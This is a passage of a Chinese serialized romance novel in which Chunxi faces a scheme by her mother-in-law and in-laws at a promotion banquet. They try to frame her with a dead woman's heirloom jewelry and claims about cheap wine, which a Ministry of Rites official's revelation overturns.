卫凌泽没想到萧清禾会这样回答,他咬牙切齿地质问:“是不是曹春喜跟你说的这些?禾儿,我就说了你不该跟她往来太多,她恨我没有给她个名分将她留在府中,所以故意嫁给沈清渊处处找茬,如今还来挑拨你我的夫妻感情,她根本就没安好心!” 萧清禾的清醒冷静让卫凌泽很不安,他只能把所有的错都怪到春喜头上。 好像只要解决了春喜,萧清禾就能变回从前那个温柔小意、事事以他为先的姑娘。 萧清禾被卫凌泽的话惊到。 她以前也担心春喜跟卫凌泽朝夕相处三年会产生感情,但这些日子和春喜接触下来,萧清禾发现她的担忧完全是多余的。 春喜一点儿也不喜欢卫凌泽,而且和沈叔叔的夫妻感情非常好。 萧清禾抿了抿唇,许久才开口:“卫郎,你……是不是喜欢小婶婶?” 因为没了爱,萧清禾问出这句话的时候并不难过,只有惊骇,这些日子发生的种种也都串联起来成了佐证。 卫凌泽被戳中痛处,脸色一下子变得铁青难看,他大声呵斥:“你在胡说八道什么,她连你的头发丝都比不上,还出身低贱、粗鲁蛮横,我怎么可能会喜欢她这样的人?” 卫凌泽的反应很大,反倒让萧清禾越发肯定自己的猜测。 萧清禾用看透一切的眼神看着卫凌泽,一字一句道:“卫郎最好能做到心口如一,沈叔叔如今已经进了御史台,若让他知道卫郎对小婶婶揣着别样的心思,整个卫家恐怕都会有灭顶之灾。” 萧清禾说完起身朝外走去,卫凌泽抓住她的手腕,满眼阴鸷地强调:“我说了,我不可能喜欢这种人。” 萧清禾并不与他争辩,颔首道:“我替卫郎记下了,卫郎还有事吗?” “……” 卫凌泽感觉自己一拳打在了棉花上,片刻的僵持后,卫凌泽松了手。 萧清禾离开后,卫凌泽叫来行舟,得知春喜今日来送了擢升宴的请帖,卫凌泽眸底闪过冷意,他沉沉开口:“你去无忧阁一趟,不管花多少钱,包下他们阁里全部的小倌,我要送沈清渊一份大礼。” 卫凌泽面色阴沉,嗜血可怖,行舟虽然觉得不妥,却也不敢劝说,只能应声退下。 很快,就到了侯府办擢升宴这日。 一大早,沈清迟就来到问心院帮春喜梳妆打扮。 然而她刚把一支金钗插到春喜头上,厨娘就匆匆来报:“少夫人,不好了,酒水到现在都还没送来,现在该怎么办呀?” 沈清迟手一抖,手里的金钗险些掉落,春喜迅速抬手把金钗插好,幽幽道:“这不是还没开宴吗,急什么?” 第143章 有什么资格评议我的妻? “少夫人,今日这宴席可是非同小可呀,酒水现在还没送来,万一出了什么差池谁负得起这个责呀?” 厨娘的语气很急,眼神却不住地往春喜脸上瞟。 府上操办宴席对下面的人来说是难得的肥差,做好了有赏钱拿,而且采买的时候还能有油水捞,大家虽然累,却都很积极。 然而春喜直接和沈清迟去铺子上把东西定了,手下的人没有赚头,还觉得不被信任,这些日子做事都很散漫,也没人提醒春喜要提前几日验收酒水,直到今日火烧眉毛了才来禀报。 见春喜悠哉游哉,并不在意,沈清迟忍不住提醒:“今日来的都是贵客,这酒水含糊不得,咱们要的量还很大,寻常酒肆怕是供应不起啊。” “小姐说的是啊,”厨娘拍着大腿点头,不等春喜开口又道,“我娘家哥哥就是酿酒的,名下还有个小酒坊,之前三少爷及冠就是去我哥哥家买的酒,大家喝了都说好,只要少夫人一句话,我这就回家让我哥哥送酒来。” 上次沈清宇及冠,除了卫凌泽一位贵客,其他都是沈家那些打秋风的穷亲戚,莫氏舍不得好吃好喝的招待他们,所以才让厨娘哥哥的小酒坊送酒来,今日的擢升宴怎能和那一日相比? 但厨娘尝过一次甜头,哪舍得放过这块肥肉,因此前几日店家送酒来,她故意挑刺搅黄了这桩生意,直到今日才来告诉春喜,就是想逼着春喜答应下来。 她哥哥年轻时也是在有名的酒庄做学徒学了艺的,酿出来的酒与宫里面的御酒也差不了几分,今日这些宾客喝了就知道了。 厨娘满眼期盼,沈清迟也捏紧绢帕看向春喜。 春喜仍是一派淡然,她扫了沈清迟一眼问:“妹妹觉得这法子可行吗?” 自然是不可行的。 好酒劣酒入口便知,女眷们不常饮酒也就罢了,男宾一喝便会露馅儿,到时大哥会在同僚面前颜面尽失。 沈清迟垂眸,不敢看春喜的眼睛,只柔声道:“从前娘操持酒席的时候从未出过这样的岔子,我……我也不知道能不能行,大嫂还是自己决定吧。” 厨娘只等着大赚一笔,连忙劝说:“少夫人放心,这法子肯定是可行的,我哥哥酿的酒可好了,保证让今日的宾客尽兴而归,而且除了我哥哥,没有店家能在开席前给少夫人送这么多酒水来的。” 厨房把话说得很满,春喜犹豫片刻,最终拿了两锭银元宝给厨娘:“既然如此,那就麻烦你跑一趟,让人快些把酒水送来。” 厨娘两眼放光,欢快道:“少夫人放心,这事我一定给你办得漂漂亮亮!” 厨娘风风火火地离开,沈清迟还要继续为春喜上妆,春喜摇头道:“就这样吧,我感觉已经很华贵了,先去给父亲、母亲请安吧。” 自天下大定,清远侯就再没有得陛下重用过,如今沈清渊升入御史台,他也能跟着扬眉吐气,听闻府里要办擢升宴,不仅提前三日就回府来住,今日一早更是带着家中男丁在祠堂祭拜,要让沈家祖先都跟着高兴。 清远侯出身贫寒,侯府虽设有祠堂,但摆的牌位并不多,这祭拜仪式也很简单,祭拜结束,清远侯就带着众人来到前厅喝茶闲聊,等着宾客临门。 春喜和沈清迟到前厅时,正好听到清远侯懒洋洋的声音。 “渊儿在京兆府磨砺十年,如今终得高升,为父也很为你高兴,不过你娶妻子的眼光真是一次不如一次了,如今你贵为三品大臣,怎可让一个曾经为奴的女子为妻,就算你不休弃她,也该贬她为妾,寻个对你有助益的岳家。” 清远侯话音刚落,吴氏便迫不及待地附和:“我儿说的是,况且这个曹春喜不仅出身不好,还目无尊长,言行粗鄙,根本没有一点儿能与渊儿相配。” 春喜回京那日,一把菜刀吓破了吴氏的胆,这些日子吴氏都躲在院中不敢出门,今日清远侯这个儿子回来了,她又有了底气摆侯府老夫人的谱了。 有人帮忙讨伐春喜,莫氏就安安静静地装起慈母来,沈清宇却忍不住,他抓住机会向清远侯细数春喜的种种劣行,只把春喜说成天底下最粗鄙不堪的妇人。 清远侯听得眉头紧皱,正想让沈清渊赶紧休妻,然而还没开口,就听到沈清渊冷森森的声音:“你们一个沉迷女色为老不尊、一个爬床上位不知廉耻,一个倚老卖老贪得无厌、一个觊觎前大嫂不顾人伦,有什么资格评议我的妻?” 说着话,沈清渊的目光从清远侯、莫氏、吴氏还有沈清宇脸上一一扫过。 他的语气虽然平静,但攻击性很强,四人皆是气得面色铁青。 清远侯这些年被外面的狐狸精哄着捧着,没见识过沈清渊的厉害,还以为沈清渊是可以被随意对待的小孩儿,当即拍桌怒道:“逆子,我是你爹,你怎么跟我说话呢?” “我一直都这么说话,你要是听不惯可以不听。” 沈清渊淡淡开口,不等清远侯再次发怒,突然闯进来两个人,直接把清远侯劈晕拖走。 吴氏第一时间反应过来,扑上去抱住自己的儿子:“孽障!你疯了,竟敢对你亲爹下手?” 清远侯好不容易回来一次,吴氏还没狐假虎威够呢,哪舍得他被带走? 这般想着,吴氏嗷嗷地嚎叫起来,恨不得全天下的人都知道沈清渊是个大逆不道的不孝子。 沈清宇见状也想上前帮忙,然而才踏出去一步,就见沈清渊一记手刀劈晕吴氏,而后森冷如冰锥的眼神笔直地射来。 沈清宇被这一眼吓得缩回了腿,底气不足地问:“大哥,宾客很快就要到了,你要让人带爹和祖母去哪?” “你想知道可以跟他们一起走。” 沈清渊冷冷开口,沈清宇顿时没了声音。 这擢升宴还有许多好戏要上演呢,他哪能在这种时候离开? 况且大哥再怎么六亲不认,也不敢杀了爹和祖母,不过是嫌他们碍眼罢了。 闹了这么一出,前厅安静下来,春喜这才带着沈清迟走进大厅。 “咦?父亲和祖母不是一直盼着今日的宴席吗,怎么不在?” 春喜明明在外面听完了全程,却装出一脸茫然,偏偏沈清渊还很配合她:“父亲和祖母正是因为太高兴,所以感觉身体不适,回屋休息去了。” “那真是太可惜,他们要错过好大一场好戏呢。” 春喜边说边遗憾地摇头。 众人:“……” 快住嘴吧,你语气里的幸灾乐祸都快溢出来了,别一个不小心笑出来! 第144章 宾客到来 清远侯和吴氏母子被一起送走,众人不敢再开口说春喜半句不是。 莫氏默默看向沈清迟,在看到沈清迟点头后,心情好了些。 曹春喜答应让厨娘用自家哥哥小酒坊自酿的酒来待客,只要宇儿在宴上当众揭穿这件事,她再顺势让戴着萧氏嫁妆的王氏出现在众人眼前,曹春喜偷盗财物补贴娘家、不惜用劣质酒水替代名酒的罪名就洗刷不清了。 就算沈清渊查起来,那也是厨娘为了谋利,自作主张搅黄了原本的酒水订单,跟她这位侯夫人可没有半点儿关系。 这般想着,莫氏勾起唇角,下一刻却听到春喜问沈清宇:“这大好的日子,弟妹怎么没来,三弟口口声声说爱弟妹入骨,原来心底其实很嫌弃她是再嫁之身么?” “我才没有!”沈清宇当即反驳,而后看向莫氏:“娘,你到底跟婉儿说了什么,为什么婉儿跟你请完安回去就说身子不舒服,不肯出来见人?” 沈清宇是真心喜欢莫芸婉,他答应莫芸婉回云氏族学念书,昨夜好不容易尽兴,恨不得把心肝都掏出来给莫芸婉,今日自然想当着一众宾客的面正大光明地宣布莫芸婉是他的妻。 虽然莫氏觉得这桩婚事丢人,沈清宇却有种隐秘的优越感。 他娶到了自己的前大嫂,这可是差点成为他大哥的女人啊。 如果他能让其他人也知道婉儿有多温柔大方,大哥一定会后悔把曹春喜这种泼妇当成宝的。 因此听到春喜问起莫芸婉,沈清宇就迫不及待地质问起莫氏来。 莫氏怄得要吐血,她虽用了莫芸婉的计策,却不想让莫芸婉出现在众人眼前,更不想让别人知道她的宇儿娶了莫芸婉做三少夫人。 莫氏恶狠狠地瞪了春喜一眼,然后才沈板着脸看向沈清宇:“她自己都说是身子不舒服,关我什么事?” 沈清宇立刻道:“我已请了大夫为婉儿诊治,想必喝了药婉儿的身子能好很多,一会儿就让她陪着大嫂一起待客吧。” 不等莫氏拒绝,春喜立刻笑眯眯道:“好啊,多谢三弟,我正愁人手不够招待不过来呢。” 春喜都答应了,莫氏再拒绝难免会伤母子感情,只能咬牙忍下。 没关系,再让曹春喜得意一会儿,等夺回掌家权,她有的是法子磋磨她! 众人又说了会儿话,便有宾客到了。 沈清渊要和沈清越、沈清宇留在前院待客,春喜则跟着莫氏去往后院等待迎接女眷。 临走之前,沈清渊捏了捏春喜的手,春喜俏皮地冲他眨了下眼。 她一点儿也不害怕,眸底全是对分家的期待。 沈清渊跟着弯眸,笑道:“去吧,不管发生什么,都有我呢。” 春喜点头,笑得热烈明媚:“夫君放心,我一定不会辜负你的期望的。” 沈清宇派人给莫芸婉传了信,莫芸婉早早地在花园等待。 莫芸婉今日穿了一身天青色绣君子兰长裙,乌发挽成简单的发髻,头上并无华贵配饰,只一朵兰花点缀,瞧着素净淡雅,但莫名很有韵味。 春喜虽不擅长妆扮,却也看得出她是精心打扮了一番的。 想来也是,今日是她第一次以清远侯府三少夫人的身份在世家夫人面前露脸,怎能不重视? “姑母,大嫂,迟儿妹妹。” 莫芸婉主动打招呼。 莫氏没给莫芸婉好脸色。 今早莫芸婉来请安的时候,莫氏特意嘱咐她不要在人前露面,莫芸婉当时答应得好好的,结果扭头就到沈清宇面前装可怜,不仅忤逆了莫氏,还挑拨了莫氏和沈清宇的母子感情。 若不是想着今日要让春喜出丑,莫氏直接就上手打这小贱蹄子了。 莫氏满脸的不待见,莫芸婉却没当回事,依旧热脸贴着冷屁股。 很快便有宾客到了。 莫芸婉这些日子花了很多心思了解各大世家的情况,宾客一到,她便落落大方地上前迎接,礼数周到,颇有大家风范。 她愿意出风头表现自己,春喜便乐得自在,跟着莫氏在花园坐着喝茶。 莫氏见不得春喜这副悠哉模样,皱眉道:“今日是渊儿的擢升宴,你这个大少夫人不亲自去迎客,躲在这里像什么话?” “这不是有弟妹吗,母亲不肯为三弟办婚礼已经很委屈三弟了,我这个做大嫂的让弟妹出出风头不是应该的吗,不然那些世家夫人如何知道三弟娶了位贤内助?” 春喜说得冠冕堂皇,却句句都像刀子扎在莫氏心上。 她哪里是不肯给宇儿举办婚礼,是莫芸婉这个小贱蹄子根本不配! 莫氏还想说些什么,下人来报,说萧家的人到了。 春喜眼睛一亮,立刻放下茶杯起身迎接。 莫氏见状冷嗤:“还以为她真的不想出风头,原来是只知道讨好萧家的人,不过是舅甥关系而已,她还真以为萧家是她的靠山。” 沈清迟小声提醒:“娘,宾客都来了,您少说几句,被人听到就不好了。” 莫氏不爱听这话,她恶狠狠地剜了沈清迟一眼:“我说话什么时候轮到你插嘴了,一会儿给我好好表现,若是拖了后腿,我饶不了你!” 沈清迟浑身一颤,抿着唇不说话了。 侯府大门外,卫凌泽和萧清禾也刚到,见萧家马车浩浩荡荡,不仅全家赴宴,连久不出门的萧老夫人也在,不由得暗暗吃惊。 卫凌泽知道萧老爷子对沈清渊这个外甥十分疼惜,但他没想到萧老爷子都走了,萧老夫人这个没有血缘关系的舅母还对沈清渊如此上心,连着整个萧家都对沈清渊很看重。 “祖母,父亲、母亲。” 卫凌泽带着萧清禾上前行礼。 萧父笑着回应,一口一个贤婿地叫着,萧夫人却笑不出来。 卫凌泽时常冷落禾儿,跟禾儿闹别扭也就罢了,竟还让府中下人阻拦禾儿送出去的消息,干涉禾儿的交际,这对禾儿这个正妻实在是极大的不尊重。 萧夫人心中有气,却碍于身份颜面无法发作,正在这时,春喜诧异的声音传来:“侄婿不是不想让我跟大侄女来往吗,我还以为你不会让禾儿来了呢?” 萧夫人立刻追问:“泽儿,这是怎么回事?” 卫凌泽:“……” 第145章 侄婿不会做人,叔叔可以教你 当着萧家所有人的面,卫凌泽毫无在萧清禾面前的理直气壮,他温声解释:“岳母,这里面有些误会,我并没有插手管禾儿的交际。” 卫凌泽说完看向萧清禾,用眼神示意萧清禾帮他证明,然而萧清禾还没开口,春喜就上前亲昵地挽住她的胳膊:“原来是误会啊,那我就放心了,那我以后再到卫家找禾儿,应该不会有人阻拦,对吧侄婿?” 最后一句话,春喜是看着卫凌泽说的,目光带着两分挑衅。 卫凌泽气得咬牙,却还要保持风度,沉沉道:“这是自然,小婶婶什么时候想来找禾儿都可以。” 话音落下,沈清渊和沈清越也收到消息前来迎接。 今日沈清渊穿了一身绛红色锦衣,整个人意气风发,气度不凡,像是又变回了十年前那个春风得意的状元郎。 萧老夫人只看了一眼就忍不住红了眼眶,萧家众人纷纷开口称赞。 沈清渊面不改色地收下夸奖,跟众人见了礼,来到春喜身旁,他目光冷沉地看了卫凌泽一眼,然后才问春喜:“可有发生什么事?” 春喜弯眸:“没什么大事,就是之前有点儿小误会,已经说清楚了,侄婿说我以后什么时候去卫家找禾儿都可以。” 沈清渊也知道卫凌泽让下人把春喜拒之门外的事,听到春喜的话,他凉凉地扫了卫凌泽一眼:“不管怎么说,侄婿要是对你这个小婶婶有敬畏之心,下面的人也不会闹出这样的误会。” 沈清渊这话说得直白,萧老夫人和萧家众人的目光立刻落在卫凌泽身上。 不管春喜之前是什么身份,沈清渊爱重她,萧家人也认可她,那卫凌泽也该把她当成长辈看待。 无形的压力将卫凌泽笼罩,他瞪了沈清渊一眼,最终还是开口服软:“沈叔叔说的是,以后我一定好好尊敬小婶婶。” “小婶婶”三个字是从卫凌泽齿缝里硬挤出来的,带着深意,像是恨不得生吞了春喜。 春喜像是完全听不出来,顺杆往上爬:“侄婿别嘴上说得好听,以后更要付出实际行动啊。” 说完这句话,春喜拉着萧清禾,招呼着萧老夫人和萧家一众女眷往里走。 等她们都进去了,沈清越才领着萧父和其他人进府,卫凌泽想跟上萧父,被沈清渊拦下。 两人很快落在最后,卫凌泽眼神冷寒地瞪着沈清渊:“你还要做什么?” 沈清渊迎着卫凌泽的眸子,锐利的目光像是刺破皮囊,看到内里扭曲阴暗的灵魂:“叶家的案子虽然结了,但不代表真相就是如此,我和你小婶婶此去徐州也发生了许多事,侄婿若是学不会夹着尾巴做人,我这个做叔叔的不介意好好教教你。” 没有外人在,沈清渊撕去寡淡疏离的表象,露出冷锐的锋芒。 他的眼神犀利,像是已经掌握了卫凌泽全部的罪证。 只要他想,随时都能把卫凌泽踹入泥潭。 卫凌泽浑身的肌肉一寸寸紧绷起来,有种被沉睡醒来的凶兽盯上的感觉。 叶二的案子早就结了,他还因此独占全部功劳,得以升迁,他本以为沈清渊就是个被后宅之事烦扰的庸碌之辈,甚至还想借徐州之事除掉沈清渊,却没想到沈清渊早就洞悉了一切,现在还明晃晃地用这两件事来威胁他! 不过沈清渊并没有拿出什么证据,卫凌泽很快又放松下来:“我不明白沈叔叔在说什么。” 卫凌泽的反应在沈清渊的预料之中,沈清渊勾了勾唇:“现在不明白不要紧,你以后自然会明白的。” 说完这话,沈清渊径直离开,卫凌泽站在原地看着他的背影,眸底一片阴鸷。 沈清渊如果非要揪着这两桩案子不放,那他们就只能不死不休了! 花园里,因为萧老夫人难得露面,到场的宾客都自发地围到萧老夫人和萧夫人身边。 春喜和萧清禾就坐在萧老夫人左右,见萧老夫人与她很亲厚,众人对春喜这个沈少夫人的态度自然也恭敬起来。 莫芸婉忙活了大半日,好不容易出点儿风头,这会儿全都被春喜盖了过去。 莫氏见她这般无用,冷笑着嘲讽:“你也就会在宇儿面前耍耍花招,人家根本没有把你放在眼里呢。” 无法吸引众人的注意力,莫芸婉只能讨好地给莫氏倒茶:“姑母教训的是,曹春喜这样心机深重的人,还是要姑母亲自出手才能将她驯服。” 莫氏也不满萧老夫人来侯府摆架子逞威风,她接了莫芸婉递过来的茶喝了一口,给贾嬷嬷递眼色:“去看看王氏到了没有。” “是。” 贾嬷嬷应声退下,不多时,王氏便跟着莫家的人一起出现在众人面前,王氏甚至还挽着宁氏的手,瞧着和宁氏十分亲近。 莫氏掀眸看向莫芸婉,莫芸婉低声道:“之前曹春喜直接把她娘轰出去了,如今她得了掌家大权,婉儿怕门房会阻拦,特意让娘帮忙留意一下,免得坏了姑母的大计。” 说话间,宁氏直接带着王氏去到众人面前。 莫氏眼底燃起兴味,等着好戏开场,勉强觉得莫芸婉还有点儿用。 “沈少夫人,这大好的日子你怎么不派马车去接你娘家人来府里赴宴,方才若不是我在门口碰到你娘,你娘今日怕是连侯府的门都进不来啊。” 宁氏声音颇高,生怕别人听不见她说什么,说完又把王氏往众人面前推了推。 王氏那日得了曹文送回去的玉镯和耳坠,高兴得不得了,特意用春喜之前从卫家带回去的好料子裁了一身衣裳,还跟左邻右舍炫耀自己的女婿高升成了三品大官,自己要来侯府参加擢升宴。 她今日是悉心打扮过的,还咬牙买了两支金簪插在头上,饶是如此,站在这些世家夫人面前,她也还是底气不足,不自觉地弯下腰去,瞧着怯懦又自卑。 但看向春喜的眼神还是习惯性的强势霸道,盼着春喜能说些什么让她这个做娘的面上有光,能挺直腰杆。 然而春喜只是冷眼看着,并没有替王氏说话。 那日曹文说了镯子和耳坠的事,春喜回过一次家。 她没进门,站在院子外面让王氏把东西还回来,这不是她让曹文送回家的,这是别人故意设计陷害她的赃物。 可王氏不听,还痛骂了春喜一顿。 她素来如此,到手的东西绝不愿意再拿出来,曹文拿回来的镯子和耳坠还那样合她的心意,春喜来要,简直像是割她的肉,加上这些日子的积怨,王氏不惜用了最恶毒的字眼。 春喜没听多久就走了,如今再见到王氏心里也毫无波澜。 她娘骂了她那么多次的不孝女,她不坐实这个罪名怎么能行? 第146章 萧氏的遗物 春喜并不说话,王氏被看得既尴尬又心虚,她没什么底气地说:“是我自己怕给阿喜添麻烦,自己要走路来的,不怪阿喜。” 春喜今日穿着和沈清渊一样的绛红色衣裙,头上珠钗虽然不多,但一身气度却已算得上华贵,她和萧清禾分别坐在萧老夫人身侧,虽容貌不及萧清禾,却一点儿都不怯场,和王氏虽是亲母女,却瞧不出半点儿王氏的样子。 王氏再不敢拿母亲的身份压她,更不敢胡乱攀扯,然而王氏话音刚落,宁氏便阴阳怪气地开口:“哪有人有马车不坐偏爱走路啊,怕是沈少夫人攀上高枝就嫌弃起自己的亲娘了吧。” 宁氏只有莫芸婉一个女儿,如今莫芸婉已经改嫁给沈清宇,为了莫芸婉能得到莫氏的倚重,在侯府过得好,哪怕看出萧老夫人今日在帮春喜镇场子,宁氏也还是要当众发难,帮莫氏压制春喜,夺回掌家权。 果然,宁氏这话一出,众人看春喜的眼神都变了。 世家大族最看重的就是名声,家族里若是有嫌贫爱富、不忠不孝之人,那可是要从族谱除名的。 王氏不知道宁氏为什么要如此帮自己,但见大家似乎都站在自己这边,腰杆不觉挺直了些。 之前曹文回家说春喜在侯府的日子过得不好,她还有些担心,今日见到春喜衣着华贵、在一众世家夫人面前都游刃有余,不由得眼红。 钱氏生了儿子,曹武对这母子俩宝贝的不行,这都几个月了一点儿重活都不让钱氏干,因此家里的活全都落到王氏头上,王氏念叨了两次后,曹武就花钱请了个人回来干活. 王氏是轻松不少,可也心疼钱,哪比得上春喜在侯府享福? 若是今日春喜能当众跟她道个歉,日后她可以借着看望曹文的名义多来侯府走动,还可以把正儿带着一起来和春喜培养培养感情,左邻右舍不知道该有多羡慕她。 这般想着,王氏忍不住期盼地看向春喜。 春喜并不在意王氏想什么,只看着宁氏道:“伯母不了解真实情况,可不能随便给晚辈扣帽子呀,不然今日一人一口唾沫星子都能淹死晚辈,若他们单骂晚辈也就罢了,万一连累了婆母和莫家该怎么办?” 莫氏正津津有味地看着热闹,猛然听到春喜提到自己,一时愣住,而是大声质问:“阿喜你这话是什么意思?难道是我这个做婆母的教唆你不认你娘?” “婆母自然不会做这样的事,”春喜摇头,而后道,“可婆母掌家后,便把公爹的母亲和兄弟姐妹全部赶出了侯府,这么多年都没跟他们来往过,可见婆母最瞧不起的便是那些打秋风的穷酸亲戚,婆母已经立下了规矩,儿媳怎还敢让娘登门自取其辱?” 这一番话,春喜说得没什么底气,像是怕极了莫氏,却又把莫氏推上了风口浪尖。 众人这才想起,清远侯不是孤家寡人,还有一家子的亲戚在,但莫氏执掌侯府后,这些人都被赶了出去,就连今天这样的好日子,清远侯的老母亲也没在场呢。 婆母如此不近人情,刚过门的新妇哪敢跟穷酸娘家人来往过密? 莫氏没想到春喜会从这个角度来攀咬自己,她的脸一下子阴沉下来,大声反驳:“这是两码事,曹春喜,你别把它们混为一谈!” 春喜瑟缩了下,像是被吓到,靠在萧老夫人身边继续道:“其实我觉得这也怪不得母亲,母亲这些年辛苦持家,还把自己的亲侄女撮合给夫君,结果人一出事,莫家就逼上门,非要说是夫君把人克死的,还要了大笔赔偿,哪里有半点儿亲人的样子。” 春喜的表情害怕,声音却不小,足够在场所有人听清楚。 她这是当众说自己的婆母家教不好呢。 莫氏气得面色铁青,宁氏也没想到春喜会把莫家牵扯进来,莫老夫人已经不认莫芸婉这个孙女了,也不许她私下和莫芸婉往来,她今日是偷摸着来的,若是让莫老夫人知道她为了偏帮莫芸婉,败坏了莫家的名声,回去后定然没有她的好果子吃。 思及此,宁氏大声道:“沈少夫人自己偷拿夫家的财物接济娘家,专程跑到莫家把钱都要回去,这才有钱办的擢升宴,才几日时间,沈少夫人不会是忘记了吧?” 宁氏怕春喜说出更多对莫家不利的事,连忙抛出春喜接济娘家的事。 莫氏瞪了沈清迟一眼,沈清迟也在这时站起来说:“我可以作证,二舅母说的都是真的,大嫂确实是从莫家拿的钱办擢升宴。” 沈清迟知道自己当众指认是在背刺春喜,低垂着头根本不敢看春喜的表情。 春喜露出意外的表情,似乎没有想到沈清迟会站出来作证,莫芸婉以为时机到了,跟着站出来说:“大嫂入门之前,大哥就把亲娘留下来的嫁妆都要了过去,大嫂过门没几日就变卖了不少东西,那些钱都不知所踪,如今还把掌家权要了过去,却连办擢升宴的钱都拿不出来,实在让人没办法不多想。” 谁都知道,萧老爷子极疼爱自己的幼妹,当年萧氏可是带着十里红妆风风光光嫁入清远侯府的,拿着那些嫁妆,哪能没有钱办擢升宴? 众人的注意力果然被转移,气氛一下子紧张起来。 王氏察觉到不对劲,她磕磕巴巴地说:“没有,阿喜没……没有拿过钱回家,自从成婚后,她连我这个娘都不认了,那些钱肯定是她自己私藏了。” 王氏原本以为今日擢升宴是她这个丈母娘风光炫耀的好机会,万万没想到会闹出这样的事来,她这才意识到春喜之前说的赃物很有可能是真的。 说完那番话,王氏就想偷摸着把手上的玉镯取下来,然而刚摸到镯子,宁氏便抓着她的手大声喊道:“这个镯子的成色好好,应该是上好的帝王绿料子,若是你女儿没有接济娘家,你怎买得起这样好的镯子?” 宁氏把王氏的手高举起来,让所有人都看清楚她手上的镯子。 沈清迟往前走了两步,而后讶然地看向春喜:“大嫂,你怎么能把大哥娘亲的遗物偷偷拿给你娘?” 这话一出,满座哗然。 偷拿夫家财物接济娘家已经很过分了,竟还把已故婆婆的遗物偷给自己的娘,这也太没有良心了。 就算侯府能不计较,萧家也不能饶了她啊。 一时间,所有人都看向萧老夫人。 第147章 大哥必须休了她! “什么遗物,拿过来看看。” 萧夫人狐疑开口,宁氏给身边的婆子递了个眼神,那人立刻上前抢走王氏手上的镯子,连同耳坠也一并扯了去。 婆子动作粗鲁,王氏的耳朵被扯出了血,痛得哀叫一声。 但在场的人只想看热闹,并不可怜她。 若是证实这是萧氏的遗物,那王氏和春喜就都是小偷,谁会同情小偷? 婆子把镯子和耳坠拿到萧老夫人和萧夫人面前。 耳坠染了血,成色瞧着越发的好,确实是难得一见的好东西,萧夫人下意识地看向萧老夫人,萧老夫人沉沉开口:“这镯子和耳坠确实是渊儿亲生母亲的陪嫁之物。” 这话一出,满座哗然。 还真是人家的遗物啊。 宁氏丢开王氏,迫不及待地质问春喜:“沈少夫人,现在你怎么说?” 眼看证据已经有了,莫氏倒是演起老好人来:“阿喜,这里面是不是有什么误会?我这个做婆母的虽然对你不够好,但渊儿对你可是一片赤诚,你怎么能偷他亡母的遗物去讨好你娘呢?” 莫氏一脸的不可置信,正在这时,一个粗使婆子慌慌张张地跑来,大声喊道:“少夫人,不好了,三少爷发现你从小酒坊定的酒水,把人拦下不许进来,这可怎么办呀。” 这个婆子一直在厨房做事,跟厨娘并不对付,她见不得厨娘赚得盆满钵满,得了莫芸婉吩咐在后门守着,发现有情况立刻来报。 前有王氏戴着萧氏的遗物,后有春喜抠抠搜搜从小酒坊定酒水糊弄客人,两件事联系起来,春喜偷偷搬空萧氏留下来的嫁妆接济娘家这件事就很有可信度了。 众人看春喜的眼神都变了样。 其实女子嫁人后,私下接济娘家并不是什么天理不容的事,但不顾夫家的脸面,连今日这样的宴席都以次充好,就实在是太离谱了。 耳朵上的痛意让王氏清醒过来,她终于知道今天这个宴席并不是她风光炫耀的好时机,而是清远侯夫人为了把春喜从侯府扫地出门设的圈套。 现在人证物证俱在,春喜已是百口莫辩。 当初在家这死丫头就忤逆不孝,到了侯府她还不收敛性子,侯夫人怎可能喜欢她这样没规矩的新妇,难怪阿文会哭着回家说在侯府的日子不好过。 王氏刚刚还想经常到侯府打秋风,这会儿只想赶紧和春喜撇清关系,不要被牵连。 这般想着,王氏大声冲春喜吼道:“你这死丫头,你爹生前一直光明磊落,我和你大哥也教你要清清白白做人,你是祖上冒烟才有幸嫁入侯府,你不好好跟女婿过日子,偷拿这么多钱做什么?我若知道这两样东西是你偷来的,我才不会往身上戴呢。” 王氏怒目圆瞪,不给春喜辩解的机会,又跟周围的人说起自己的辛苦不易来,反正说来说去,除了这镯子和坠子,她没得到其他任何的好处,春喜捞够了,才施舍两样死人的东西给她,她还嫌晦气呢。 王氏在巷子里吵架向来是所向披靡的,在这群世家夫人面前更是强悍无比,不管别人想不想听这些家长里短的破事,都找不到机会打断她。 莫氏没想到王氏这么能说,还把自己撇得干干净净,但事到如今,不是王氏说什么就是什么的。 等王氏说累了,莫氏才冷着脸开口:“你们母女俩少在这里演戏,现在人证物证俱在,今日不给个满意的答复,那就只能告到官府去了!” 王氏就是普通庶民,最怕的就是见官,她还想再为自己辩解两句,春喜终于开口:“夫君才进了御史台,正是断案的一把好手,婆母请夫君来断一断就是了,何须舍近求远还要去官府?” 从事发到现在,春喜一直都很冷静,并未露出半点慌张之色。 听到这话,莫氏只当她是仗着有沈清渊撑腰,正要驳斥,又听到春喜说:“若是婆母担心夫君护着我,也可请别的大人帮忙,今日来府上的大人这么多,总不能连一位主持公道的人都没有吧?” 春喜不为自己辩解,反而帮莫氏出起了主意,莫氏眼皮一跳,莫名有些心慌。 之前几次交锋,春喜也是这样沉着冷静的。 难道她早就察觉了一切,故意将计就计等着反击? 莫氏被这个念头惊出一身冷汗,一时有些不知该如何是好,这时身在男宾席的沈清宇却已经迫不及待地朝沈清渊发难。 “曹春喜擅自挪用操办宴席的钱,不惜以次充好,从不知名的小酒坊定酒糊弄大家,这种目光短浅、爱财如命的女人绝不能留在侯府,还请大哥立刻写下休书休了她!” 已近午时,宾客基本都来齐了,太子殿下也专程出宫来赴宴。 众人惊讶于太子对沈清渊的看重,本想好好探听一下两人的关系,却没想到竟然闹出了这样的事。 大家都知道这位沈少夫人出身低微,但再低微也不该在今日闹出这样的丑闻啊。 不少人闻言都对沈清渊投来同情的目光。 沈清渊先后克死了两任妻子,虽说有一位死而复生,却难再续前缘,如今新夫人又如此的上不得台面,后宅不安,他这仕途也免不了会受影响。 众人正想着,礼部的张大人突然越过众人走到沈清宇面前:“三少爷,被你拦在侯府门外的是本官安排来送酒水的人,而且送的都是今年上好的贡酒,什么时候变成不知名的小酒坊的酒了?” 沈清宇已经想好一马车的大道理要劝自己大哥休妻,却没想到张大人会突然杀出来,他愣了一下,脱口而出:“曹春喜明明让厨娘从自家哥哥的酒坊定酒,礼部为什么会送酒来?” 张大人皱紧眉头:“三少爷莫不是忘了,皇后娘娘曾下旨着礼部为沈大人和沈少夫人补办婚礼,恰逢沈大人擢升,双喜临门,沈少夫人不想连着办酒席铺张浪费,所以与本官商量今日一同操办,府上酒宴自然应该由礼部全权操办才是。” 